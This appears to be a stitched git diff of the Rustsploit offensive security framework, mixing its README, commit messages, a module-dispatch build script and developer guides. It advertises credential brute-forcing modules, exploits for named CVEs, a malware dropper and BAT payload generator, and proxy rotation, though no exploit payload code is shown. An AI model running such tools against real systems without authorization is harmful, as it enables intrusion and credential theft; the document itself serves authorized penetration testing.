-**Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
-**Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
-**Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
-**Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
-**Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
-**REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
added acti camera module
---
created bat payload generator for malware
## Module Catalog
added proxy support https/http socks4/socks5
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
telnet brute forcing module
ssh brute forcing module
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
ftp anonymous login module
Run `modules` or `find <keyword>` in the shell for the authoritative list.
ftp brute forcing module
---
added rtsp_bruteforce module
## Quick Start
dynamic modules listing and colored listing
### Requirements
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
## 🚀 Building & Running
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### 📦 Clone the Repository
### Clone + Build
```
git clone https://github.com/s-b-repo/r-routersploit.git
cd r-routersploit
```
### 🛠️ Build the Project
```
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
or if you just want to run the tool and see after builing run this command in folder
### Run (Interactive Shell)
```
cargo run
```
if you want it installed run
```
cargo install
### Install (optional)
```
cargo install --path .
```
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
```
rustsploit
cargo run
```
Once inside the shell, you can explore and execute modules:
```
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> set target 192.168.1.1
rsf> run
```
### 🔧 Run in CLI Mode
You can run specific modules via CLI using subcommands:
#### ▶ Exploit
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
```
#### 🧪 Scanner
```
cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
```
#### 🔐 Credentials
```
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
```
---
## Docker Deployment
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
Example session:
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
---
## CLI Usage
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
# Scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
---
## Proxy Workflow
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
---
## How Modules Are Discovered
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
---
## Contributing
Contributions are welcome! High-level suggestions:
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
---
## Credits
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

+213
View File
@@ -0,0 +1,213 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
}
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let root_path = Path::new(root);
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
)?;
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
)?;
}
}
writeln!(
file,
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
if !dir.is_dir() {
return Ok(());
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
}
}
}
}
Ok(())
}
+2407
View File
File diff suppressed because it is too large Load Diff
-437
View File
@@ -1,437 +0,0 @@
the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
---
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
---
## 🧠 Framework Philosophy
This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
- 📟 Command-Line Interface (CLI)
- 🖥️ Interactive Shell
---
## 🗂️ Directory Structure
```
routersploit_rust/
├── Cargo.toml
└── src
├── main.rs # Entry point
├── cli.rs # Parses CLI args
├── shell.rs # Interactive shell (rsf> prompt)
├── commands/ # Dispatch logic for exploit/scanner/creds
│ ├── mod.rs
│ ├── exploit.rs
│ ├── scanner.rs
│ └── creds.rs
├── modules/ # All available attack modules
│ ├── mod.rs
│ ├── exploits/
│ │ ├── mod.rs
│ │ └── sample_exploit.rs
│ ├── scanners/
│ │ ├── mod.rs
│ │ └── sample_scanner.rs
│ └── creds/
│ ├── mod.rs
│ └── sample_cred_check.rs
└── utils.rs # Utility helpers (e.g., list modules)
```
---
## 🔗 Module System
Each **module** (exploit/scanner/cred checker) is self-contained:
### Anatomy of a Module
```rust
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running <MODULE_NAME> on target {}", target);
// Logic here
Ok(())
}
```
Each module must:
- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
- Have a `run(target: &str) -> Result<()>` function
- Be declared in its parent's `mod.rs`
- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
---
## ⚙️ CLI Internals
Handled via **Clap** in `cli.rs`:
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
```
- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
- Passed into `commands::handle_command()` for dispatch
---
## 🖥️ Interactive Shell
Start with:
```
cargo run
```
Inside the shell:
```
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> set target 192.168.1.1
rsf> run
```
Shell maintains internal state:
- `current_module` (e.g., `exploits/sample_exploit`)
- `current_target` (e.g., `192.168.1.1`)
When `run` is called, it dispatches via `commands::run_module()`.
---
## 🧪 Running a Module (Backend Flow)
1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
4. `run(target: &str)` executes async exploit logic
5. Results are printed back to the user
---
## How to Add a New Exploit/Scanner/Cred Module
### 1. Create the Module File
Example: `src/modules/exploits/my_new_exploit.rs`
```rust
use anyhow::{Result, Context};
use reqwest;
pub async fn run(target: &str) -> Result<()> {
println!("[*] Launching my_new_exploit on {}", target);
let url = format!("http://{}/pwn", target);
let resp = reqwest::get(&url)
.await
.context("Request failed")?
.text()
.await?;
if resp.contains("owned") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Not vulnerable.");
}
Ok(())
}
```
---
### 2. Register It in `mod.rs`
```rust
// src/modules/exploits/mod.rs
pub mod sample_exploit;
pub mod my_new_exploit;
```
---
### 3. Wire It into the Command Handler
```rust
// src/commands/exploit.rs
match module_name {
"sample_exploit" => exploits::sample_exploit::run(target).await?,
"my_new_exploit" => exploits::my_new_exploit::run(target).await?,
_ => eprintln!("Unknown exploit module"),
}
```
---
---
## 🛑 Error Handling
- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
- Errors are automatically printed when the main shell or CLI fails.
---
## ⚡ Async Support
- The project uses `tokio` runtime and `reqwest` async client.
- All modules can use `async fn run(...) -> Result<()>` safely.
---
## 📡 HTTP Requests
- Use `reqwest` for sending requests to the target:
```rust
let response = reqwest::get(&url).await?;
```
- Or with a custom client and headers/auth:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
---
## 🧪 Example Use Cases
### CLI Mode
```
# Exploit a router
cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
```
### Shell Mode
```
rsf> use exploits/sample_exploit
rsf> set target 192.168.0.1
rsf> run
```
---
## 🧼 Resetting Shell State
There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
---
## 🔐 Real Exploit Integration
To adapt a real-world CVE:
- Convert the PoC into an async HTTP request
- Simulate or validate the vulnerable response pattern
- Follow the above module creation workflow
If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
---
## 🛠️ Feature Ideas
- 🧰 Add wordlist brute-forcers (like rockyou support)
- 📄 Export results to a file
- ⚡ Parallel scanning via `tokio::spawn`
- 🔌 Plugin system for runtime module loading
- 🔒 Encrypted config/profile saving
- 🧪 Integration with Shodan/Censys APIs
---
## 👥 Contributors
- Main Developer: You.
- Language: 100% Rust
- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
---
Below is a **step-by-step** walkthrough of the proxy logic in the updated `shell.rs` whenever the user types `run`. It explains how the **retry mechanism** works, how a **new proxy** is selected after a failure, and how we **stop** when all proxies are exhausted.
---
## 1. `run` Command Overview
When the user types **`run`** in the shell:
1. We check if there is a **selected module** (`current_module`) and a **target** (`current_target`). If either is missing, we prompt the user to set them.
2. If both are set:
- We look at whether **proxy usage** is **enabled** (`proxy_enabled = true`) and whether we have a **non-empty proxy list**.
- Based on this, we do one of the following:
- **Proxy is ON & we have proxies**: Attempt the exploit with **one or more** proxies in a loop (retrying).
- **Proxy is ON & we have no proxies**: Just do a **direct** attempt (warn user).
- **Proxy is OFF**: Only do a **direct** attempt.
---
## 2. When Proxy is ON (and Proxies Are Loaded)
If `proxy_enabled == true` and `proxy_list` is **not** empty, the `run` logic does this:
1. **Create** a `HashSet<String>` called `tried_proxies` this will track which proxies we have already used and failed on.
2. **Loop** until either:
- We **succeed** with a proxy, or
- We have tried **all** proxies in `proxy_list`.
3. **Pick a Random Proxy**
- We call `pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies)`.
- This function filters out any proxies that are already in `tried_proxies` (i.e., ones that failed previously).
- It then chooses **one** from the remaining pool **at random**.
- If all have been tried, it falls back to picking *any* random proxy from the full list (ensuring no panic).
4. **Set `ALL_PROXY` Environment Variable**
- We call `set_all_proxy_env(&chosen_proxy)`.
- Inside that function, we do:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Because your exploit modules use `reqwest` (with the `socks` feature), **any** request they make automatically goes through that proxy (whether its HTTP, HTTPS, SOCKS4, or SOCKS5).
5. **Run the Module**
```rust
match commands::run_module(module_path, t).await {
Ok(_) => { ... }
Err(e) => { ... }
}
```
- This calls the real exploit/scanner/cred module. The module tries to send its requests.
- Because `ALL_PROXY` is set, **all** of its traffic routes through the chosen proxy.
6. **Check the Result**
- If it returns `Ok(())`, that means the exploit **did not** fail at the top level. We **break** the loop and stop retrying.
- If it returns `Err(e)`, we:
1. Print an error message.
2. Add the **chosen proxy** to `tried_proxies`.
3. Repeat the loop, picking a new untried proxy.
7. **Exhausting All Proxies**
- If we eventually try **every** proxy in `proxy_list` (i.e., `tried_proxies.len() == ctx.proxy_list.len()`) and **still** fail, we exit the loop.
8. **Final Fallback: Direct Attempt**
- If we never got a success, we do a **final** attempt **without** any proxy:
```rust
clear_proxy_env_vars();
commands::run_module(module_path, t).await;
```
- That either succeeds or fails. If it fails, we simply print the error and continue (or end).
---
## 3. When Proxy is ON but No Proxies Are Loaded
If `proxy_enabled == true` but `proxy_list` is empty:
1. We **cannot** pick a proxy, so we simply show a warning:
```
[!] No proxies loaded, but proxy is ON. Doing direct attempt...
```
2. We call `clear_proxy_env_vars()` to ensure were not using a stale proxy environment variable.
3. We run the module once. No retries occur here.
---
## 4. When Proxy is OFF
If `proxy_enabled == false`, we do a **single** direct attempt:
1. `clear_proxy_env_vars()` is called to remove any existing proxy environment variables.
2. `commands::run_module(module_path, t).await` is called.
3. If it fails, we just print the error. We do **not** retry.
---
## 5. Summarizing the Retry Logic
Below is a simplified flowchart of the “**Proxy is ON & Proxies Are Loaded**” scenario:
```
+--------------------------+
| Start 'run' command |
+--------------------------+
| (Check if module & target are set)
v
+-------------------------------+
| tried_proxies = empty set |
+-------------------------------+
|
| while tried_proxies.len() < proxy_list.len():
v
+--------------------------------------------------+
| pick_random_untried_proxy(proxy_list, tried_set) |
+--------------------------------------------------+
|
| set_all_proxy_env(chosen_proxy)
v
+-----------------------------------------+
| run_module(module_path, target) => Err? |
+-----------------------------------------+
| |
(Ok) | | (Err)
v v
(Stop) tried_proxies.insert(chosen_proxy)
(loop again)
If we exit the loop with no success:
=> clear_proxy_env_vars()
=> do a final direct run_module()
```
Hence, after each failure, we remove that proxy from the candidate pool and pick a new one. We do **not** pick the same failing proxy again. If, after exhausting **all** proxies, everything fails, we do one **direct** attempt with no proxy.
---
## 6. Why This Requires No Changes to Exploit Modules
- **All** changes happen at the shell level (the `run` command).
- Each time we call `commands::run_module(...)`, we have **already** set the environment variable `ALL_PROXY`.
- The exploit modules (e.g., `sample_exploit.rs`) simply use `reqwest` without knowing or caring about proxies.
- `reqwest` automatically checks `ALL_PROXY` and routes traffic accordingly.
- If that proxy fails for any reason (connection refused, times out, etc.), `run_module(...)` returns an error to the shell, triggering the **retry** logic.
---
## 7. Practical Considerations
1. **Module-Level vs. Shell-Level Retries**
- We do an entire “exploit run” in one attempt. If the exploit tries multiple sub-requests and fails halfway, from the shells perspective its just one run that failed.
- We then pick a new proxy and re-run from scratch.
2. **Timeouts**
- If a proxy is **very** slow or dead, you may not get an error for a while (unless your module sets timeouts).
- Consider setting a **short** timeout in your modules if you want to quickly detect non-functional proxies.
3. **Full Proxy Exhaustion**
- If every proxy fails, we do a final direct attempt. If that also fails, we give up.
4. **Thread-Safety**
- Because were doing everything in a single-threaded loop, environment-variable changes are straightforward.
- In a multi-threaded scenario, changing `ALL_PROXY` globally might cause conflicts or race conditions.
---
## 8. Final Summary
1. **User** types `run`.
2. If **proxy is on** and there are proxies in the list, the shell tries them **one by one** (random order), setting `ALL_PROXY` each time and calling `run_module`.
3. On each **failure**, the shell adds that proxy to a “tried” set and repeats with a **new** proxy.
4. If the user **exhausts** all proxies (they all fail), the shell **finally** attempts a **direct** run (no proxy).
5. If the exploit **succeeds** at any point, we **stop** retrying.
6. This entire sequence requires **no changes** to the exploit modules, as they already rely on `reqwest`, which automatically respects `ALL_PROXY`.
Thats the logic behind automatic proxy retries for failing requests!
+253
View File
@@ -0,0 +1,253 @@
# 🛠️ Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
---
## Table of Contents
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
---
## Project Overview
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
